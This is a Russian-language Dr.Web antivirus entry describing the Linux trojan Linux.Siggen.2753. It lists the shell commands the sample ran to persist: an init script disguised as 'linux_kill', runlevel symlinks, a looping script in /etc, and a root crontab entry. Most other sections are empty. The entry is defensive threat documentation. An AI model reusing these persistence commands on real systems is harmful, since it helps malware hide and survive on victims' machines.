Linux.Siggen.2753

Linux.Siggen.2753

Добавлен в вирусную базу Dr.Web: 2020-04-28

Описание добавлено: 2020-04-27

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Создает или модифицирует символические ссылки (симлинки):

Вредоносные функции:

Заменяет следующие системные файлы:

Запускает процессы:

<SAMPLE_FULL_PATH>
/bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
top -b -n 1 -d 1
/bin/bash -c
/bin/bash -c echo -e \"#!/bin/sh\nwhile [ 1 ]; do\nsleep 30\n/etc/id.services.conf\ndone\n\" > /etc/32679
/bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
/bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so\" > /.img
/bin/bash -c chmod 0755 /etc/32679
chmod +x /etc/init.d/linux_kill
/bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
/bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
chmod 0755 /etc/32679
/etc/32679
ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
/bin/bash -c chmod 0755 /.img
sleep 30
/bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
chmod 0755 /.img
ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
/bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
/bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает папки:

Создает или модифицирует файлы:

Устанавливает блокировку (lock) на файлы:

Сетевая активность:

Устанавливает соединение:

DNS ASK:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Собирает информацию о сетевой активности